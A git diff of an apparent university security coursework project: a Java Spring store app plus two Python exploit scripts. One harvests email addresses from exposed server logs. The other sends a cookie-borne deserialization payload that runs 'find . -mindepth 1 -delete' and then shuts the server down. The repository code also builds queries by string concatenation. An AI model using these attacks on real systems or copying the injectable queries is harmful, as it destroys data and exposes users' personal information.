diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7a52681 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +*.log +target/ +work/ +.idea/ +database/ +log/ \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..8656701 --- /dev/null +++ b/README.md @@ -0,0 +1,90 @@ +# MUNICS SAPP Práctica 1 + +
+ +***Seguridad de Aplicaciones: Práctica 1 - Store App*** + +[![OpenJDK_17](https://img.shields.io/badge/OpenJDK_17-black?logo=openjdk&logoColor=white&labelColor=grey&color=orange)]() +[![Spring](https://img.shields.io/badge/Spring-black?logo=spring&logoColor=white&labelColor=grey&color=%236DB33F)]() +[![Spring Boot](https://img.shields.io/badge/Spring_Boot-black?logo=springboot&logoColor=white&labelColor=grey&color=%236DB33F)]() +[![Hibernate](https://img.shields.io/badge/Hibernate-black?logo=hibernate&logoColor=white&labelColor=grey&color=%2359666C) +]() +[![Thymeleaf](https://img.shields.io/badge/Thymeleaf-black?logo=thymeleaf&logoColor=white&labelColor=grey&color=%23005F0F)]() +[![jQuery](https://img.shields.io/badge/jQuery-black?logo=jquery&logoColor=white&labelColor=grey&color=%230769AD)]() +[![bootstrap](https://img.shields.io/badge/bootstrap-black?logo=bootstrap&logoColor=white&labelColor=grey&color=%237952B3)]() +[![Static Badge](https://img.shields.io/badge/Maven-black?logo=apachemaven&logoColor=white&labelColor=grey&color=%23C71A36)]() + +[![License: MIT]()](LICENSE "License") +[![GitHub issues](https://img.shields.io/github/issues/danielfeitopin/MUNICS-SAPP-P1)]( "Issues") +[![GitHub stars](https://img.shields.io/github/stars/danielfeitopin/MUNICS-SAPP-P1)]( "Stars") + +
+ +## Índice + +- [MUNICS SAPP Práctica 1](#munics-sapp-práctica-1) + - [Índice](#índice) + - [Configuración](#configuración) + - [Software requerido](#software-requerido) + - [Uso](#uso) + - [Compilación y ejecución de la aplicación web](#compilación-y-ejecución-de-la-aplicación-web) + - [Estructura del proyecto](#estructura-del-proyecto) + - [Licencia](#licencia) + - [Contacto](#contacto) + + +## Configuración + +### Software requerido + +- [AdoptOpenJDK 17]() +- [Maven]() + +## Uso + +### Compilación y ejecución de la aplicación web + +Compilación: + +```sh +mvn sql:execute install +``` + +Ejecución: + +```sh +mvn spring-boot:run +``` + +Restauración de la base de datos: + +```sh +mvn sql:execute +``` + +Acceso: + +## Estructura del proyecto + +La aplicación web se distribuye dentro de un proyecto Maven: +- `pom.xml`: fichero de configuración del proyecto. +- `src/main/java`: directorio de código fuente. +- `src/main/resources`: ficheros de configuración. + - `src/main/resources/templates`: plantillas HTML. + - `src/main/resources/static`: recursos estáticos. + - `src/main/resources/application.properties`: ichero principal de configuración de la aplicación. + +## Licencia + +El contenido de este repositorio está bajo la licencia [GPL3](LICENSE). + +## Contacto + +¡No dudes en ponerte en contacto conmigo! + +
+ +[![GitHub](https://img.shields.io/badge/GitHub-%23181717?style=for-the-badge&logo=github&logoColor=%23181717&color=white)]() +[![LinkedIn](https://img.shields.io/badge/LinkedIn-white?style=for-the-badge&logo=linkedin&logoColor=white&color=%230A66C2)]() + +
\ No newline at end of file diff --git a/docs/enunciado.pdf b/docs/enunciado.pdf new file mode 100644 index 0000000..563a471 Binary files /dev/null and b/docs/enunciado.pdf differ diff --git a/docs/memoria.pdf b/docs/memoria.pdf new file mode 100644 index 0000000..a4cfc58 Binary files /dev/null and b/docs/memoria.pdf differ diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..b6d1602 --- /dev/null +++ b/pom.xml @@ -0,0 +1,258 @@ + + + 4.0.0 + + es.storeapp + store-app + 1.0.0 + Store Application + + + org.springframework.boot + spring-boot-starter-parent + 3.1.0 + + + + + + + + org.springframework.boot + spring-boot-starter-web + + + org.springframework.boot + spring-boot-starter-validation + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + org.springframework.boot + spring-boot-devtools + true + + + org.springframework.boot + spring-boot-starter-data-jpa + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.boot + spring-boot-starter-actuator + + + org.apache.derby + derby + + + org.apache.derby + derbytools + + + org.mindrot + jbcrypt + 0.4 + + + org.apache.commons + commons-email + 1.5 + + + org.apache.commons + commons-compress + 1.21 + + + + + + org.webjars + webjars-locator + 0.33 + + + org.webjars + bootstrap + 4.0.0-2 + + + org.webjars + jquery + 3.3.1-1 + + + org.webjars + font-awesome + 5.0.6 + + + org.webjars.bower + jquery-form-validator + 2.3.77 + + + org.webjars.bower + jquery + + + + + org.webjars + datatables + 1.13.2 + + + org.webjars.bower + datatables-responsive + 2.2.1 + + + org.webjars.bower + jquery + + + org.webjars.bower + datatables + + + + + org.webjars.bower + bootstrap-star-rating + 4.0.3 + + + org.webjars.bower + jquery + + + org.webjars.bower + bootstrap + + + + + org.webjars + jquery.inputmask + 3.3.7 + + + javax.xml.bind + jaxb-api + 2.3.0 + + + com.sun.xml.bind + jaxb-core + 2.3.0 + + + com.sun.xml.bind + jaxb-impl + 2.3.0 + + + org.javassist + javassist + 3.27.0-GA + runtime + + + org.hibernate.validator + hibernate-validator + 8.0.0.Final + + + org.owasp.encoder + encoder + 1.2.3 + + + + + 17 + UTF-8 + es.storeapp.Application + + + + + + + org.owasp + dependency-check-maven + 6.5.1 + + + + check + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + + org.sonarsource.scanner.maven + sonar-maven-plugin + 3.9.0.2155 + + + + org.apache.maven.plugins + maven-assembly-plugin + + store-app + + src/main/assembly/src.xml + + + + + + org.codehaus.mojo + sql-maven-plugin + 1.5 + + + org.apache.derby + derby + 10.16.1.1 + + + org.apache.derby + derbytools + 10.16.1.1 + + + + org.apache.derby.jdbc.EmbeddedDriver + jdbc:derby:database;create=true + app + secr3t + true + continue + + src/main/resources/tables.sql + src/main/resources/data.sql + + + + + + + + diff --git a/server.p12 b/server.p12 new file mode 100644 index 0000000..2cdd9b6 Binary files /dev/null and b/server.p12 differ diff --git a/src/exploits/get_logs.py b/src/exploits/get_logs.py new file mode 100644 index 0000000..0e22929 --- /dev/null +++ b/src/exploits/get_logs.py @@ -0,0 +1,55 @@ +import requests +from datetime import date +import gzip + +today = date.today() +url = 'http://localhost:8888/resources/' + +log_base = 'server.log' +log_comprimido = 'server.log.' + str(today.year) + '-' + str(today.month) + '-' + str(today.day) + '.' +end_file = '.gz' + +# En esta variable almacenaremos los archivos descargados +archivos_descargados = [log_base] + +# Descargaremos el fichero server.log +r = requests.get(url + log_base) + +with open(log_base,'wb') as f: + f.write(r.content) + f.close() +r.close() + +# Descargamos los comprimidos del dia de hoy +cnt = 0 +continuar = True + +while continuar: + log_filename = log_comprimido + str(cnt) + end_file + r = requests.get(url + log_filename) + if (r.status_code == 404): + continuar = False + r.close() + if r.status_code == 200: + with open(log_filename,'wb') as f: + f.write(r.content) + f.close() + r.close() + archivos_descargados.append(log_filename) + cnt +=1 + +# Analizamos los ficheros en busca de correos electronicos +# Los guardamos en un set para no tener repetidos +for archivo in archivos_descargados: + lineas = '' + if archivo[-3:len(archivo)] == '.gz': + with gzip.open(archivo,'rb') as archivo_gz: + lineas = archivo_gz.readlines() + archivo_gz.close() + else: + with open(archivo,'rb') as archivo: + lineas = archivo.readlines() + archivo.close() + for linea in lineas: + if linea.count(b'@') > 0: + print(linea.decode('utf-8'),end='') diff --git a/src/exploits/goodbyeworld.py b/src/exploits/goodbyeworld.py new file mode 100644 index 0000000..3ff96d5 --- /dev/null +++ b/src/exploits/goodbyeworld.py @@ -0,0 +1,37 @@ +#!/usr/bin/python +import requests +import base64 + +URL: str = "http://localhost:8888/" + +PAYLOAD: str = """ + + + + + + find + + + . + + + -mindepth + + + 1 + + + -delete + + + + + +""" + +requests.get(URL, cookies={ + 'user-info': base64.b64encode(PAYLOAD.strip().encode()).decode() +}) + +requests.post(URL + 'actuator/shutdown') \ No newline at end of file diff --git a/src/main/assembly/src.xml b/src/main/assembly/src.xml new file mode 100644 index 0000000..9669e58 --- /dev/null +++ b/src/main/assembly/src.xml @@ -0,0 +1,25 @@ + + + + src + + zip + + + + + **/* + + + .project + .classpath + .settings/** + derby.log + nbactions.xml + **/target/** + .git/** + .gitignore + + + + diff --git a/src/main/java/es/storeapp/Application.java b/src/main/java/es/storeapp/Application.java new file mode 100644 index 0000000..b0a2ecc --- /dev/null +++ b/src/main/java/es/storeapp/Application.java @@ -0,0 +1,13 @@ +package es.storeapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class Application { + + public static void main(String[] args) { + SpringApplication.run(Application.class, args); + } + +} \ No newline at end of file diff --git a/src/main/java/es/storeapp/business/entities/Category.java b/src/main/java/es/storeapp/business/entities/Category.java new file mode 100644 index 0000000..bfa6e60 --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/Category.java @@ -0,0 +1,79 @@ +package es.storeapp.business.entities; + +import es.storeapp.common.Constants; +import java.io.Serializable; +import jakarta.persistence.Column; +import jakarta.persistence.Entity; +import jakarta.persistence.Id; +import jakarta.persistence.Table; + +@Entity(name = Constants.CATEGORY_ENTITY) +@Table(name = Constants.CATEGORIES_TABLE) +public class Category implements Serializable { + + private static final long serialVersionUID = 340618567236100110L; + + @Id + private Long categoryId; + + @Column(name = "name", nullable = false, unique = true) + private String name; + + @Column(name = "description", nullable = false) + private String description; + + @Column(name = "icon", nullable = false) + private String icon; + + @Column(name = "highlighted") + private boolean highlighted; + + public Long getCategoryId() { + return categoryId; + } + + public void setCategoryId(Long categoryId) { + this.categoryId = categoryId; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public boolean isHighlighted() { + return highlighted; + } + + public void setHighlighted(boolean highlighted) { + this.highlighted = highlighted; + } + + @Override + public String toString() { + return String.format("Category{categoryId=%s, name=%s, description=%s, icon=%s, highlighted=%s}", + categoryId, name, description, icon, highlighted); + } + + + +} diff --git a/src/main/java/es/storeapp/business/entities/Comment.java b/src/main/java/es/storeapp/business/entities/Comment.java new file mode 100644 index 0000000..7dbcc1e --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/Comment.java @@ -0,0 +1,96 @@ +package es.storeapp.business.entities; + +import es.storeapp.common.Constants; +import java.io.Serializable; +import jakarta.persistence.Column; +import jakarta.persistence.Entity; +import jakarta.persistence.FetchType; +import jakarta.persistence.GeneratedValue; +import jakarta.persistence.GenerationType; +import jakarta.persistence.Id; +import jakarta.persistence.JoinColumn; +import jakarta.persistence.ManyToOne; +import jakarta.persistence.Table; + +@Entity(name = Constants.COMMENT_ENTITY) +@Table(name = Constants.COMMENTS_TABLE) +public class Comment implements Serializable{ + + private static final long serialVersionUID = -8821440815912953976L; + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long commentId; + + @Column(name = "text", nullable = false) + private String text; + + @Column(name = "rating", nullable = false) + private Integer rating; + + @Column(name = "timestamp", nullable = false) + private Long timestamp; + + @ManyToOne(fetch = FetchType.LAZY) + @JoinColumn(name = "userId", nullable = false) + private User user; + + @ManyToOne(fetch = FetchType.LAZY) + @JoinColumn(name = "productId", nullable = false) + private Product product; + + public Long getCommentId() { + return commentId; + } + + public void setCommentId(Long commentId) { + this.commentId = commentId; + } + + public String getText() { + return text; + } + + public void setText(String text) { + this.text = text; + } + + public User getUser() { + return user; + } + + public void setUser(User user) { + this.user = user; + } + + public Product getProduct() { + return product; + } + + public void setProduct(Product product) { + this.product = product; + } + + public Long getTimestamp() { + return timestamp; + } + + public void setTimestamp(Long timestamp) { + this.timestamp = timestamp; + } + + public Integer getRating() { + return rating; + } + + public void setRating(Integer rating) { + this.rating = rating; + } + + @Override + public String toString() { + return String.format("Comment{commentId=%s, text=%s, rating=%s, timestamp=%s, user=%s, product=%s}", + commentId, text, rating, timestamp, user, product); + } + +} diff --git a/src/main/java/es/storeapp/business/entities/CreditCard.java b/src/main/java/es/storeapp/business/entities/CreditCard.java new file mode 100644 index 0000000..e1e9648 --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/CreditCard.java @@ -0,0 +1,58 @@ +package es.storeapp.business.entities; + +import java.io.Serializable; +import java.text.MessageFormat; +import jakarta.persistence.Embeddable; + +@Embeddable +public class CreditCard implements Serializable { + + private String card; + + private Integer cvv; + + private Integer expirationMonth; + + private Integer expirationYear; + + public String getCard() { + return card; + } + + public void setCard(String card) { + this.card = card; + } + + public Integer getCvv() { + return cvv; + } + + public void setCvv(Integer cvv) { + this.cvv = cvv; + } + + public Integer getExpirationMonth() { + return expirationMonth; + } + + public void setExpirationMonth(Integer expirationMonth) { + this.expirationMonth = expirationMonth; + } + + public Integer getExpirationYear() { + return expirationYear; + } + + public void setExpirationYear(Integer expirationYear) { + this.expirationYear = expirationYear; + } + + @Override + public String toString() { + return MessageFormat.format("CreditCard{card={0}, cvv={1}, expirationMonth={2}, expirationYear={3}}", + card, cvv, expirationMonth, expirationYear); + } + + + +} diff --git a/src/main/java/es/storeapp/business/entities/Order.java b/src/main/java/es/storeapp/business/entities/Order.java new file mode 100644 index 0000000..89ad84f --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/Order.java @@ -0,0 +1,112 @@ +package es.storeapp.business.entities; + +import es.storeapp.common.Constants; +import jakarta.persistence.*; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; + +@Entity(name = Constants.ORDER_ENTITY) +@Table(name = Constants.ORDERS_TABLE) +public class Order implements Serializable { + + private static final long serialVersionUID = -4089154240038598234L; + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long orderId; + + @Column(name = "name", nullable = false) + String name; + + @Column(name = "timestamp", nullable = false) + private Long timestamp; + + @Column(name = "price", nullable = false) + private Integer price; + + @Column(name = "address", nullable = false) + private String address; + + @Enumerated(EnumType.STRING) + @Column(name = "state", nullable = false) + private OrderState state; + + @ManyToOne(fetch = FetchType.LAZY) + @JoinColumn(name = "userId", nullable = false) + private User user; + + @OneToMany(mappedBy = "order") + private List orderLines = new ArrayList<>(); + + public Long getOrderId() { + return orderId; + } + + public void setOrderId(Long orderId) { + this.orderId = orderId; + } + + public Integer getPrice() { + return price; + } + + public void setPrice(Integer price) { + this.price = price; + } + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public OrderState getState() { + return state; + } + + public void setState(OrderState state) { + this.state = state; + } + + public User getUser() { + return user; + } + + public void setUser(User user) { + this.user = user; + } + + public List getOrderLines() { + return orderLines; + } + + public void setOrderLines(List orderLines) { + this.orderLines = orderLines; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Long getTimestamp() { + return timestamp; + } + + public void setTimestamp(Long timestamp) { + this.timestamp = timestamp; + } + + @Override + public String toString() { + return String.format("Order{orderId=%s, name=%s, timestamp=%s, price=%s, address=%s, state=%s, user=%s, orderLines=%s}", + orderId, name, timestamp, price, address, state, user, orderLines); + } + +} diff --git a/src/main/java/es/storeapp/business/entities/OrderLine.java b/src/main/java/es/storeapp/business/entities/OrderLine.java new file mode 100644 index 0000000..5a735da --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/OrderLine.java @@ -0,0 +1,77 @@ +package es.storeapp.business.entities; + +import es.storeapp.common.Constants; +import java.io.Serializable; +import java.text.MessageFormat; +import jakarta.persistence.Column; +import jakarta.persistence.Entity; +import jakarta.persistence.FetchType; +import jakarta.persistence.GeneratedValue; +import jakarta.persistence.GenerationType; +import jakarta.persistence.Id; +import jakarta.persistence.JoinColumn; +import jakarta.persistence.ManyToOne; +import jakarta.persistence.Table; + +@Entity(name = Constants.ORDER_LINE_ENTITY) +@Table(name = Constants.ORDER_LINES_TABLE) +public class OrderLine implements Serializable { + + private static final long serialVersionUID = -1663947782096663051L; + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long orderLineId; + + @Column(name = "price") + private Integer price; + + @ManyToOne(fetch = FetchType.LAZY) + @JoinColumn(name = "productId", nullable = false) + private Product product; + + @ManyToOne(fetch = FetchType.LAZY) + @JoinColumn(name = "orderId", nullable = false) + private Order order; + + public Long getOrderLineId() { + return orderLineId; + } + + public void setOrderLineId(Long orderLineId) { + this.orderLineId = orderLineId; + } + + public Integer getPrice() { + return price; + } + + public void setPrice(Integer price) { + this.price = price; + } + + public Product getProduct() { + return product; + } + + public void setProduct(Product product) { + this.product = product; + } + + public Order getOrder() { + return order; + } + + public void setOrder(Order order) { + this.order = order; + } + + @Override + public String toString() { + return MessageFormat.format("OrderLine{orderLineId={0}, price={1}, product={2}, order={3}}", + orderLineId, price, product, order); + } + + + +} diff --git a/src/main/java/es/storeapp/business/entities/OrderState.java b/src/main/java/es/storeapp/business/entities/OrderState.java new file mode 100644 index 0000000..c51244f --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/OrderState.java @@ -0,0 +1,5 @@ +package es.storeapp.business.entities; + +public enum OrderState { + PENDING, COMPLETED, CANCELLED +} diff --git a/src/main/java/es/storeapp/business/entities/Product.java b/src/main/java/es/storeapp/business/entities/Product.java new file mode 100644 index 0000000..a3577d7 --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/Product.java @@ -0,0 +1,144 @@ +package es.storeapp.business.entities; + +import es.storeapp.common.Constants; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; +import jakarta.persistence.Column; +import jakarta.persistence.Entity; +import jakarta.persistence.Id; +import jakarta.persistence.JoinColumn; +import jakarta.persistence.ManyToOne; +import jakarta.persistence.OneToMany; +import jakarta.persistence.Table; + +@Entity(name = Constants.PRODUCT_ENTITY) +@Table(name = Constants.PRODUCTS_TABLE) +public class Product implements Serializable{ + + private static final long serialVersionUID = 70079876312519893L; + + @Id + private Long productId; + + @ManyToOne + @JoinColumn(name = "category", nullable = false) + private Category category; + + @Column(name = "name", nullable = false, unique = true) + private String name; + + @Column(name = "description", nullable = false) + private String description; + + @Column(name = "icon", nullable = false) + private String icon; + + @Column(name = "price", nullable = false) + private Integer price; + + @Column(name = "totalScore", nullable = false) + private Integer totalScore; + + @Column(name = "totalComments", nullable = false) + private Integer totalComments; + + @Column(name = "sales", nullable = false) + private Integer sales; + + @OneToMany(mappedBy = "product") + private List comments = new ArrayList<>(); + + public Long getProductId() { + return productId; + } + + public void setProductId(Long productId) { + this.productId = productId; + } + + public Category getCategory() { + return category; + } + + public void setCategory(Category category) { + this.category = category; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public Integer getPrice() { + return price; + } + + public void setPrice(Integer price) { + this.price = price; + } + + public Integer getTotalScore() { + return totalScore; + } + + public void setTotalScore(Integer totalScore) { + this.totalScore = totalScore; + } + + public Integer getTotalComments() { + return totalComments; + } + + public void setTotalComments(Integer totalComments) { + this.totalComments = totalComments; + } + + public Integer getSales() { + return sales; + } + + public void setSales(Integer sales) { + this.sales = sales; + } + + public List getComments() { + return comments; + } + + public void setComments(List comments) { + this.comments = comments; + } + + public Integer getRating() { + return totalComments == 0 ? 0 : totalScore / totalComments; + } + + @Override + public String toString() { + return String.format("Product{productId=%s, category=%s, name=%s, description=%s, icon=%s, price=%s, totalScore=%s, totalComments=%s, sales=%s}", + productId, category, name, description, icon, price, totalScore, totalComments, sales); + } + + + +} diff --git a/src/main/java/es/storeapp/business/entities/User.java b/src/main/java/es/storeapp/business/entities/User.java new file mode 100644 index 0000000..969e6b5 --- /dev/null +++ b/src/main/java/es/storeapp/business/entities/User.java @@ -0,0 +1,153 @@ +package es.storeapp.business.entities; + +import es.storeapp.common.Constants; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; +import jakarta.persistence.AttributeOverride; +import jakarta.persistence.AttributeOverrides; +import jakarta.persistence.Column; +import jakarta.persistence.Embedded; +import jakarta.persistence.Entity; +import jakarta.persistence.GeneratedValue; +import jakarta.persistence.GenerationType; +import jakarta.persistence.Id; +import jakarta.persistence.OneToMany; +import jakarta.persistence.Table; +import jakarta.validation.constraints.Email; +import jakarta.validation.constraints.NotBlank; + +@Entity(name = Constants.USER_ENTITY) +@Table(name = Constants.USERS_TABLE) +public class User implements Serializable { + + private static final long serialVersionUID = 570528466125178223L; + + public User() { + } + + public User(String name, String email, String password, String address, String image) { + this.name = name; + this.email = email; + this.password = password; + this.address = address; + this.image = image; + } + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long userId; + + @NotBlank(message = "Name cannot be null") + @Column(name = "name", nullable = false, unique = false) + private String name; + + @Email(message = "Email should be valid") + @NotBlank(message = "Email cannot be null") + @Column(name = "email", nullable = false, unique = true) + private String email; + + @Column(name = "password", nullable = false) + private String password; + + @NotBlank(message = "address cannot be null") + @Column(name = "address", nullable = false) + private String address; + + @Column(name = "resetPasswordToken") + private String resetPasswordToken; + + @Embedded + @AttributeOverrides(value = { + @AttributeOverride(name = "card", column = @Column(name = "card")), + @AttributeOverride(name = "cvv", column = @Column(name = "CVV")), + @AttributeOverride(name = "expirationMonth", column = @Column(name = "expirationMonth")), + @AttributeOverride(name = "expirationYear", column = @Column(name = "expirationYear")) + }) + private CreditCard card; + + @Column(name = "image") + private String image; + + @OneToMany(mappedBy = "user") + private List comments = new ArrayList<>(); + + public Long getUserId() { + return userId; + } + + public void setUserId(Long userId) { + this.userId = userId; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } + + public CreditCard getCard() { + return card; + } + + public void setCard(CreditCard card) { + this.card = card; + } + + public List getComments() { + return comments; + } + + public void setComments(List comments) { + this.comments = comments; + } + + public String getResetPasswordToken() { + return resetPasswordToken; + } + + public void setResetPasswordToken(String resetPasswordToken) { + this.resetPasswordToken = resetPasswordToken; + } + + @Override + public String toString() { + return String.format("User{userId=%s, name=%s, email=%s, password=%s, address=%s, resetPasswordToken=%s, card=%s, image=%s}", + userId, name, email, password, address, resetPasswordToken, card, image); + } + +} diff --git a/src/main/java/es/storeapp/business/exceptions/AuthenticationException.java b/src/main/java/es/storeapp/business/exceptions/AuthenticationException.java new file mode 100644 index 0000000..9098150 --- /dev/null +++ b/src/main/java/es/storeapp/business/exceptions/AuthenticationException.java @@ -0,0 +1,11 @@ +package es.storeapp.business.exceptions; + +public class AuthenticationException extends Exception { + + private static final long serialVersionUID = 9047626511480506926L; + + public AuthenticationException(String message) { + super(message); + } + +} diff --git a/src/main/java/es/storeapp/business/exceptions/DuplicatedResourceException.java b/src/main/java/es/storeapp/business/exceptions/DuplicatedResourceException.java new file mode 100644 index 0000000..68449ad --- /dev/null +++ b/src/main/java/es/storeapp/business/exceptions/DuplicatedResourceException.java @@ -0,0 +1,24 @@ +package es.storeapp.business.exceptions; + +public class DuplicatedResourceException extends Exception { + + private static final long serialVersionUID = 6896927410877749980L; + + private final String resource; + private final String value; + + public DuplicatedResourceException(String resource, String value, String message) { + super(message); + this.resource = resource; + this.value = value; + } + + public Object getResource() { + return resource; + } + + public Object getValue() { + return value; + } + +} diff --git a/src/main/java/es/storeapp/business/exceptions/InputValidationException.java b/src/main/java/es/storeapp/business/exceptions/InputValidationException.java new file mode 100644 index 0000000..6af248a --- /dev/null +++ b/src/main/java/es/storeapp/business/exceptions/InputValidationException.java @@ -0,0 +1,11 @@ +package es.storeapp.business.exceptions; + +public class InputValidationException extends Exception { + + private static final long serialVersionUID = -6476895393943904784L; + + public InputValidationException(String message) { + super(message); + } + +} diff --git a/src/main/java/es/storeapp/business/exceptions/InstanceNotFoundException.java b/src/main/java/es/storeapp/business/exceptions/InstanceNotFoundException.java new file mode 100644 index 0000000..dee462c --- /dev/null +++ b/src/main/java/es/storeapp/business/exceptions/InstanceNotFoundException.java @@ -0,0 +1,24 @@ +package es.storeapp.business.exceptions; + +public class InstanceNotFoundException extends Exception { + + private static final long serialVersionUID = -4208426212843868046L; + + private final Long id; + private final String type; + + public InstanceNotFoundException(Long id, String type, String message) { + super(message); + this.id = id; + this.type = type; + } + + public Object getId() { + return id; + } + + public String getType() { + return type; + } + +} diff --git a/src/main/java/es/storeapp/business/exceptions/InvalidStateException.java b/src/main/java/es/storeapp/business/exceptions/InvalidStateException.java new file mode 100644 index 0000000..a9ccede --- /dev/null +++ b/src/main/java/es/storeapp/business/exceptions/InvalidStateException.java @@ -0,0 +1,11 @@ +package es.storeapp.business.exceptions; + +public class InvalidStateException extends Exception { + + private static final long serialVersionUID = 3026551774263871416L; + + public InvalidStateException(String message) { + super(message); + } + +} diff --git a/src/main/java/es/storeapp/business/exceptions/ServiceException.java b/src/main/java/es/storeapp/business/exceptions/ServiceException.java new file mode 100644 index 0000000..f7fba9e --- /dev/null +++ b/src/main/java/es/storeapp/business/exceptions/ServiceException.java @@ -0,0 +1,11 @@ +package es.storeapp.business.exceptions; + +public class ServiceException extends Exception { + + private static final long serialVersionUID = -5772226522820952867L; + + public ServiceException(String message) { + super(message); + } + +} diff --git a/src/main/java/es/storeapp/business/repositories/AbstractRepository.java b/src/main/java/es/storeapp/business/repositories/AbstractRepository.java new file mode 100644 index 0000000..76a6b5c --- /dev/null +++ b/src/main/java/es/storeapp/business/repositories/AbstractRepository.java @@ -0,0 +1,85 @@ +package es.storeapp.business.repositories; + +import es.storeapp.business.exceptions.InstanceNotFoundException; +import es.storeapp.business.utils.ExceptionGenerationUtils; +import es.storeapp.common.Constants; +import java.text.MessageFormat; +import java.util.List; +import jakarta.persistence.EntityManager; +import jakarta.persistence.NoResultException; +import jakarta.persistence.PersistenceContext; +import jakarta.persistence.Query; +import es.storeapp.common.EscapingLoggerWrapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.core.GenericTypeResolver; + +public abstract class AbstractRepository { + + protected final EscapingLoggerWrapper logger; + + private static final String FIND_ALL_QUERY = "SELECT t FROM {0} t"; + private static final String FIND_ALL_ORDERED_QUERY = "SELECT t FROM {0} t ORDER BY t.{1}"; + private static final String FIND_BY_TEXT_ATTRIBUTE_QUERY = "SELECT t FROM {0} t WHERE t.{1} = ''{2}'' ORDER BY t.{3}"; + + private final Class genericType; + + @PersistenceContext + protected EntityManager entityManager; + + @Autowired + ExceptionGenerationUtils exceptionGenerationUtils; + + public AbstractRepository() { + this.genericType = (Class) GenericTypeResolver.resolveTypeArgument(getClass(), AbstractRepository.class); + this.logger = new EscapingLoggerWrapper(this.genericType); + } + + public T create(T entity) { + entityManager.persist(entity); + return entity; + } + + public T update(T entity) { + entityManager.merge(entity); + return entity; + } + + public void remove(T entity) { + entityManager.remove(entity); + } + + public T findById(Long id) throws InstanceNotFoundException { + try{ + T t = entityManager.find(genericType, id); + if(t == null) { + throw new NoResultException(Long.toString(id)); + } + return t; + } catch(NoResultException e) { + logger.error(e.getMessage(), e); + throw exceptionGenerationUtils.toInstanceNotFoundException(id, genericType.getSimpleName(), + Constants.INSTANCE_NOT_FOUND_MESSAGE); + } + } + + @SuppressWarnings("unchecked") + public List findAll() { + Query query = entityManager.createQuery(MessageFormat.format(FIND_ALL_QUERY, + genericType.getSimpleName())); + return (List) query.getResultList(); + } + + @SuppressWarnings("unchecked") + public List findAll(String orderColumn) { + Query query = entityManager.createQuery(MessageFormat.format(FIND_ALL_ORDERED_QUERY, + genericType.getSimpleName(), orderColumn)); + return (List) query.getResultList(); + } + + @SuppressWarnings("unchecked") + public List findByStringAttribute(String attribute, String value, String orderColumn) { + Query query = entityManager.createQuery(MessageFormat.format(FIND_BY_TEXT_ATTRIBUTE_QUERY, + genericType.getSimpleName(), attribute, value, orderColumn)); + return (List) query.getResultList(); + } +} diff --git a/src/main/java/es/storeapp/business/repositories/CategoryRepository.java b/src/main/java/es/storeapp/business/repositories/CategoryRepository.java new file mode 100644 index 0000000..880268b --- /dev/null +++ b/src/main/java/es/storeapp/business/repositories/CategoryRepository.java @@ -0,0 +1,19 @@ +package es.storeapp.business.repositories; + +import es.storeapp.business.entities.Category; +import java.util.List; +import jakarta.persistence.Query; +import org.springframework.stereotype.Repository; + +@Repository +public class CategoryRepository extends AbstractRepository { + + private static final String FIND_HIGHLIGHTED_QUERY = "SELECT c FROM Category c WHERE c.highlighted = true"; + + @SuppressWarnings("unchecked") + public List findHighlighted() { + Query query = entityManager.createQuery(FIND_HIGHLIGHTED_QUERY); + return (List) query.getResultList(); + } + +} diff --git a/src/main/java/es/storeapp/business/repositories/CommentRepository.java b/src/main/java/es/storeapp/business/repositories/CommentRepository.java new file mode 100644 index 0000000..6754caf --- /dev/null +++ b/src/main/java/es/storeapp/business/repositories/CommentRepository.java @@ -0,0 +1,30 @@ +package es.storeapp.business.repositories; + +import es.storeapp.business.entities.Comment; +import jakarta.persistence.Query; +import org.springframework.stereotype.Repository; + +@Repository +public class CommentRepository extends AbstractRepository{ + + private static final String COUNT_BY_USER_AND_PRODUCT_QUERY = + "SELECT COUNT(*) FROM Comment c WHERE c.user.id = ?1 and c.product.id = ?2"; + + private static final String FIND_BY_USER_AND_PRODUCT_QUERY = + "SELECT c FROM Comment c WHERE c.user.id = ?1 and c.product.id = ?2"; + + public Integer countByUserAndProduct(Long userId, Long productId) { + Query query = entityManager.createQuery(COUNT_BY_USER_AND_PRODUCT_QUERY); + query.setParameter(1,userId); + query.setParameter(2,productId); + return (Integer) query.getSingleResult(); + } + + public Comment findByUserAndProduct(Long userId, Long productId) { + Query query = 